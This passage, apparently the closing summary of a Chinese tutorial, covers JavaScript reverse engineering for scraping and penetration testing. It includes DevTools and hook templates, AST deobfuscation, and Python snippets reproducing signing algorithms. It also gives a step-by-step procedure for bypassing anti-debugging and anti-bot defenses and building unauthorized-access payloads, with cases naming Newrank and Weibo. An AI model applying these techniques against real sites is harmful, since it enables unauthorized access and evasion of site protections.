模块 1:浏览器调试核心命令 操作 快捷键 / 命令 核心作用 打开 DevTools F12 / Ctrl+Shift+I 打开开发者工具 全局搜索 Ctrl+Shift+F 全网站 JS 代码搜索关键词 XHR 断点 Sources→XHR/fetch Breakpoints 接口请求时断点,定位加密函数 条件断点 右键行号→Add conditional breakpoint 条件满足时才暂停,绕过无限 debugger 单步跳过 F10 逐行执行,不进入函数内部 单步进入 F11 逐行执行,进入函数内部 继续执行 F8 执行到下一个断点 黑盒脚本 右键 JS 文件→Blackbox Script 调试时跳过该文件,不进入框架代码
模块 2:Hook 核心代码模板 Hook 目标 代码模板 核心作用 window.btoa 见前文第二部分内容 拦截 Base64 编码,找到调用位置 XMLHttpRequest.send 见前文渗透测试部分 拦截接口请求,查看加密参数 Function 构造器 见前文无限 debugger 绕过 拦截动态生成的 debugger 代码 CryptoJS.MD5 const originalMD5 = CryptoJS.MD5; CryptoJS.MD5 = function(...args){console.log("MD5 输入:", args[0]); const res = originalMD5.apply(this, args); console.log("MD5 输出:", res.toString()); return res;}拦截 MD5 加密,查看输入输出
模块 3:AST 核心 API 速查 库 核心 API 作用 @babel/parser parser.parse(code)把 JS 代码解析成 AST 树 @babel/traverse traverse(ast, {节点类型:处理函数})遍历 AST 树,访问 / 修改节点 @babel/generator generator(ast)把 AST 树转回 JS 代码 @babel/types t.stringLiteral("xxx")创建 / 校验 AST 节点类型
模块 4:加密算法 Python 复现模板 算法 核心代码 对应章节 MD5 hashlib.md5(str.encode("utf-8")).hexdigest().lower()第六章 AES-CBC 见前文异常 3 解决方案 第六章 RSA 加密 from Crypto.PublicKey import RSA; from Crypto.Cipher import PKCS1_v1_5; key = RSA.importKey(public_key); cipher = PKCS1_v1_5.new(key); encrypted = cipher.encrypt(data.encode("utf-8"))第六章 Base64 base64.b64encode(data.encode("utf-8")).decode("utf-8")第五章
3. 全流程逆向标准作业流程(SOP) 从拿到目标网站到完成爬取 / 渗透,标准化 10 步流程,对应全章节内容,新手可直接照做:
需求明确与抓包分析 (第二章)
明确目标:需要爬取的数据 / 渗透的接口;
打开 DevTools→Network 面板,触发目标操作,抓包找到核心接口;
查看接口的请求参数,找到加密的参数(sign、token、data 等),明确逆向目标。
加密函数定位 (第三章)
优先用 XHR 断点,给接口 URL 设置断点,触发请求后回溯调用栈;
其次用全局搜索,搜索加密参数名、加密关键词(encrypt/sign/md5/aes);
最后用 Hook 注入,拦截加密方法,找到调用位置。
加密逻辑调试与还原 (第五章)
给加密函数设置断点,单步调试,查看每一步的输入、输出、中间变量;
识别加密算法类型,提取密钥、IV、盐值、拼接规则、填充模式等核心参数;
在 Console 面板中,手动调用加密函数,传入固定参数,验证加密逻辑。
混淆代码处理 (第四章、第十三章)
若代码被混淆,先格式化代码,看懂核心逻辑;
简单混淆手动还原,复杂混淆用 AST 技术做反混淆,生成可读代码。
反调试绕过 (第十一章)
若遇到无限 debugger、DevTools 检测,用条件断点、Hook、黑盒脚本绕过;
确保能正常调试代码,无卡顿、无断点干扰。
加密逻辑复现 (第六章)
用 Python/Node.js 复现加密逻辑,传入和前端完全相同的固定参数;
对比生成的加密结果,必须和前端完全一致,确保逻辑还原正确。
环境问题处理 (第七章)
若加密代码在 Node.js 中执行报错,手动补全环境,或用 JSDOM 补全完整浏览器环境;
复杂环境直接用 RPC 远程调用,无需补全环境。
接口请求构造 (第十章)
用 Python 的 requests 库,构造和浏览器完全一致的请求头、请求体、Cookie;
用复现的加密逻辑生成参数,发起请求,验证是否能拿到正确的数据。
爬虫 / 渗透利用开发 (第八章、渗透测试部分)
开发完整的自动化爬虫,实现数据的批量爬取;
或基于逆向的逻辑,构造渗透 Payload,实现越权、未授权访问等利用。
稳定性优化
处理反爬机制:请求频率控制、IP 代理、Cookie 自动刷新;
异常处理:网络超时、接口报错、签名失效的处理;
实现 7*24 小时稳定运行。
4. 高频实战案例核心步骤与代码模板 案例 核心步骤 核心代码模板 Newrank 榜单 MD5 逆向 1. 抓包找到 sign 参数;2. XHR 断点定位 generateSign 函数;3. 还原 MD5 拼接规则;4. Python 复现签名逻辑;5. 开发爬虫 见前文第三部分渗透测试案例 微博登录 RPC 调用 1. 抓包找到登录加密参数;2. 定位加密函数;3. 油猴脚本开发 RPC 服务;4. Python 调用 RPC 接口获取加密参数;5. 实现自动登录 见前文第八章 RPC 部分代码 javascript-obfuscator AST 反混淆 1. 解析混淆代码成 AST;2. 遍历 AST 解密字符串数组;3. 还原控制流扁平化;4. 重命名乱码变量;5. 删除死代码;6. 生成可读代码 见前文第十三章 AST 部分代码 AES 数据加密逆向 1. 定位 AES 加密函数;2. 提取密钥、IV、模式、填充方式;3. 固定参数验证加密结果;4. Python 复现 AES 加密逻辑;5. 构造加密请求 见前文异常 3 解决方案 WASM 加密逆向 1. 定位 WASM 文件加载代码;2. 找到 WASM 导出的加密函数;3. 浏览器中调用函数验证逻辑;4. 用 Wasmtime 在 Python 中调用 WASM 函数;5. 实现加密参数生成 见前文第十一章 WASM 部分代码
5. 进阶提升方向(前端反爬最新趋势)
1. 最新前端反爬技术趋势
企业级 JS 混淆 :JScrambler 商业级混淆,加入虚拟机保护、代码虚拟化、控制流扁平化,逆向难度大幅提升;
无感人机验证 :基于浏览器环境指纹、鼠标 / 键盘行为、设备信息的无感验证,替代传统验证码;
WASM 加密 :把核心加密逻辑用 C/Rust 编写,编译成 WASM,前端 JS 仅做调用,大幅提升逆向难度;
动态 JS 代码 :每次页面刷新,JS 代码的混淆规则、加密密钥、接口路径都会动态变化,无法静态还原;
前后端双向签名 :接口请求和响应都做签名校验,防止篡改和重放攻击。
2. 对应进阶学习内容
虚拟机保护逆向 :学习 JS 虚拟机混淆的原理,还原虚拟机指令和执行逻辑;
WASM 逆向进阶 :学习 WAT 文本格式、WASM 反编译、动态调试、C 代码还原;
行为模拟 :学习用 Puppeteer/Playwright 模拟真人的鼠标移动、键盘输入、页面滚动,绕过人机验证;
浏览器指纹对抗 :学习浏览器指纹的生成原理,修改 / 模拟指纹,绕过环境检测;
移动端 JS 逆向 :学习 APP 内嵌 WebView 的 JS 逆向、抓包、调试方法,覆盖移动端场景。
相关免费在线工具 加密/解密文本 使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
Gemini 图片去水印 基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online